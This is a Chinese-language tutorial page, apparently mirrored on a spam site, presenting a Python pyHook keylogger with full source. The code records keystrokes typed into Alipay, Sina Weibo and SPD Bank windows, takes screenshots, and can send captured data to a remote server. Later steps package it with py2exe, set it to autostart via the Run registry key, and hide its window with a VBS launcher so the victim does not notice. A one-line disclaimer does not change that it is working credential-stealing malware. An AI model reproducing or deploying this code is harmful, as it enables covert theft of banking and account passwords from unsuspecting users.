最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

Python利用pyHook實(shí)現(xiàn)監(jiān)聽用戶鼠標(biāo)與鍵盤事件

 更新時(shí)間:2014年08月21日 12:45:03   投稿:shichen2014  
這篇文章主要介紹了Python利用pyHook實(shí)現(xiàn)監(jiān)聽用戶鼠標(biāo)與鍵盤事件,很有實(shí)用價(jià)值的一個(gè)技巧,需要的朋友可以參考下

本文以一段簡(jiǎn)單的監(jiān)聽鼠標(biāo)、鍵盤事件的程序,實(shí)現(xiàn)獲取用戶的輸入(比如登錄某些網(wǎng)站的賬號(hào)、密碼)的功能。經(jīng)測(cè)試,對(duì)于一臺(tái)“裸奔”的電腦,完全能獲取到用戶輸入的任何信息;但是如果安裝了殺毒軟件,就夠嗆了。具體實(shí)現(xiàn)方法如下:

一、代碼部分:獲取用戶輸入信息,并與截圖一起保存到XX目錄下

# -*- coding: utf-8 -*- # 

import pythoncom 
import pyHook  
import time
import socket
from PIL import ImageGrab

#
#如果是遠(yuǎn)程監(jiān)聽某個(gè)目標(biāo)電腦,可以自己架設(shè)一個(gè)服務(wù)器,然后將獲取到的信息發(fā)回給服務(wù)器
#
def send_msg_to_server(msg):
  host=""
  port=1234
  buf_size=1024
  addr=(host,port)
  if len(msg)>0:
    tcp_client_sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    tcp_client_sock.connect(addr)
    info=time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))+' from '+socket.gethostname()+':'
    tcp_client_sock.sendall(info+msg)
    tcp_client_sock.close()
    
#
#也可以將獲取到的信息保存到本地文件下
#
def write_msg_to_txt(msg):  
  f=open('D:/workspace/mytest/pyhook/media/monitor.txt','a')
  f.write(msg+'\r\n')
  f.close()

def onMouseEvent(event): 
  # 監(jiān)聽鼠標(biāo)事件   
  global MSG
  if len(MSG)!=0:    
    #send_msg_to_server(MSG)
    write_msg_to_txt(MSG)
    MSG=''
    pic_name = time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))
    #將用戶屏幕截圖,保存到本地某個(gè)目錄下(也可以搞成遠(yuǎn)程發(fā)送到自己的服務(wù)器)
    pic = ImageGrab.grab()
    pic.save('D:/workspace/mytest/pyhook/media/mouse_%s.png' % pic_name)
  return True
 
def onKeyboardEvent(event):
  #監(jiān)聽鍵盤事件
  global MSG
  title= event.WindowName.decode('GBK')
  #通過網(wǎng)站title,判斷當(dāng)前網(wǎng)站是否是“監(jiān)聽目標(biāo)”
  if title.find(u"支付寶") != -1 or title.find(u'新浪微博')!=-1 or title.find(u'浦發(fā)銀行')!=-1:
    #Ascii: 8-Backspace , 9-Tab ,13-Enter 
    if (127 >= event.Ascii > 31) or (event.Ascii == 8):
      MSG += chr(event.Ascii)        
    if (event.Ascii == 9) or (event.Ascii == 13):      
      #send_msg_to_remote(MSG)
      write_msg_to_txt(MSG)
      MSG = '' 
      #屏幕抓圖實(shí)現(xiàn)
      pic_name = time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))
      pic = ImageGrab.grab()
      #保存成為以日期命名的圖片
      pic.save('D:/workspace/mytest/pyhook/media/keyboard_%s.png' % pic_name)
  return True 
 
if __name__ == "__main__":   
  MSG = ''  
  #創(chuàng)建hook句柄
  hm = pyHook.HookManager()

  #監(jiān)控鼠標(biāo)
  hm.SubscribeMouseLeftDown(onMouseEvent)
  hm.HookMouse()

  #監(jiān)控鍵盤
  hm.KeyDown = onKeyboardEvent
  hm.HookKeyboard()

  #循環(huán)獲取消息
  pythoncom.PumpMessages() 

二、用py2exe將腳本打包:

新建一個(gè)py文件setup.py,內(nèi)容如下:

from distutils.core import setup
import py2exe
setup(console=["monitor.py"])
#setup(windows=["monitor.py"])

命令行執(zhí)行以下命令:

pythonsetup.pypy2exe

三、將該程序設(shè)置為開機(jī)自動(dòng)啟動(dòng):

步驟①:

將需要開機(jī)啟動(dòng)的文件(創(chuàng)建一個(gè)快捷方式,然后)放到“開始/所有程序/啟動(dòng)”目錄下

步驟②:

修改注冊(cè)表:命令行— regedit ,然后到以下路徑下:
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]  

新建一個(gè)“字符串值”,然后編輯:設(shè)置exe文件所在路徑
D:\workspace\mytest\pyhook\dist\monitor.exe

(以上兩種方式啟動(dòng)monitor.exe的話,會(huì)彈出一個(gè)命令框,顯示監(jiān)聽日志信息,這樣的話,被監(jiān)聽的人一下就能發(fā)現(xiàn)了,可以試試下面這個(gè)方式)

步驟③:

新建一個(gè) .vbs文件,內(nèi)容如下:

setwscriptObj=CreateObject("Wscript.Shell")
wscriptObj.run“D:\workspace\mytest\pyhook\dist\monitor.exe",0

雙擊運(yùn)行該vbs文件,則monitor.exe就在后臺(tái)啟動(dòng)了(不會(huì)彈出一個(gè)大黑框)。
然后參考法①、② 把該vbs設(shè)置成開機(jī)啟動(dòng)即可。

補(bǔ)充:

1、該程序涉及到一些模塊都需要自己安裝一下;
2、文章中凡是“D:\workspace....”這樣的路徑都需要改成自己的真實(shí)路徑;
3、本代碼僅為測(cè)試示例,讀者不要將其用于非法用途。

感興趣的讀者可以對(duì)本文實(shí)例加以改進(jìn),使之功能更加完善。

相關(guān)文章

  • 徹底吃透理解Python基礎(chǔ)33個(gè)關(guān)鍵字詳細(xì)教程

    徹底吃透理解Python基礎(chǔ)33個(gè)關(guān)鍵字詳細(xì)教程

    這篇文章主要為大家介紹了徹底吃透理解Python中33個(gè)關(guān)鍵字的詳細(xì)教程,有需要打好Python基礎(chǔ)的同學(xué)可以借鑒參考下,希望能成為您成功路上的一塊墊腳石
    2021-10-10
  • Python-jenkins模塊獲取jobs的執(zhí)行狀態(tài)操作

    Python-jenkins模塊獲取jobs的執(zhí)行狀態(tài)操作

    這篇文章主要介紹了Python-jenkins模塊獲取jobs的執(zhí)行狀態(tài)操作,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。一起跟隨小編過來看看吧
    2020-05-05
  • python實(shí)現(xiàn)石頭剪刀布小游戲

    python實(shí)現(xiàn)石頭剪刀布小游戲

    這篇文章主要為大家詳細(xì)介紹了python實(shí)現(xiàn)石頭剪刀布小游戲,文中示例代碼介紹的非常詳細(xì),具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下
    2019-01-01
  • 簡(jiǎn)單了解python中的與或非運(yùn)算

    簡(jiǎn)單了解python中的與或非運(yùn)算

    這篇文章主要介紹了簡(jiǎn)單了解python中的與或非運(yùn)算,文中通過示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友可以參考下
    2019-09-09
  • Python接口測(cè)試之如何使用requests發(fā)起請(qǐng)求

    Python接口測(cè)試之如何使用requests發(fā)起請(qǐng)求

    這篇文章主要介紹了Python接口測(cè)試之如何使用requests發(fā)起請(qǐng)求問題,具有很好的參考價(jià)值,希望對(duì)大家有所幫助,如有錯(cuò)誤或未考慮完全的地方,望不吝賜教
    2024-06-06
  • python ChainMap的使用和說明詳解

    python ChainMap的使用和說明詳解

    這篇文章主要介紹了python ChainMap的使用和說明詳解,文中通過示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧
    2019-06-06
  • Python中創(chuàng)建字典的幾種方法總結(jié)(推薦)

    Python中創(chuàng)建字典的幾種方法總結(jié)(推薦)

    下面小編就為大家?guī)硪黄狿ython中創(chuàng)建字典的幾種方法總結(jié)(推薦)。小編覺得挺不錯(cuò)的,現(xiàn)在就分享給大家,也給大家做個(gè)參考。一起跟隨小編過來看看吧
    2017-04-04
  • 淺析Python中的getattr(),setattr(),delattr(),hasattr()

    淺析Python中的getattr(),setattr(),delattr(),hasattr()

    這篇文章主要介紹了Python中的getattr(),setattr(),delattr(),hasattr() 的相關(guān)資料,非常不錯(cuò)具有參考借鑒價(jià)值,需要的朋友可以參考下
    2016-06-06
  • python_matplotlib改變橫坐標(biāo)和縱坐標(biāo)上的刻度(ticks)方式

    python_matplotlib改變橫坐標(biāo)和縱坐標(biāo)上的刻度(ticks)方式

    這篇文章主要介紹了python_matplotlib改變橫坐標(biāo)和縱坐標(biāo)上的刻度(ticks)方式,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。一起跟隨小編過來看看吧
    2020-05-05
  • PyCharm永久激活方式(推薦)

    PyCharm永久激活方式(推薦)

    這篇文章主要介紹了PyCharm永久激活方式,本文通過圖文并茂的方式給大家介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或工作具有一定的參考借鑒價(jià)值,需要的朋友可以參考下
    2020-03-03

最新評(píng)論

广汉市| 新宁县| 大同县| 沁阳市| 赤壁市| 定南县| 潜江市| 徐汇区| 清水河县| 岚皋县| 石屏县| 内黄县| 鸡西市| 阿瓦提县| 南华县| 德化县| 淳化县| 定结县| 商城县| 乌审旗| 平果县| 青浦区| 六枝特区| 新邵县| 本溪| 青铜峡市| 延津县| 高尔夫| 原阳县| 台江县| 泗洪县| 永城市| 定结县| 民和| 日照市| 聂拉木县| 临颍县| 叙永县| 阜南县| 石棉县| 深泽县|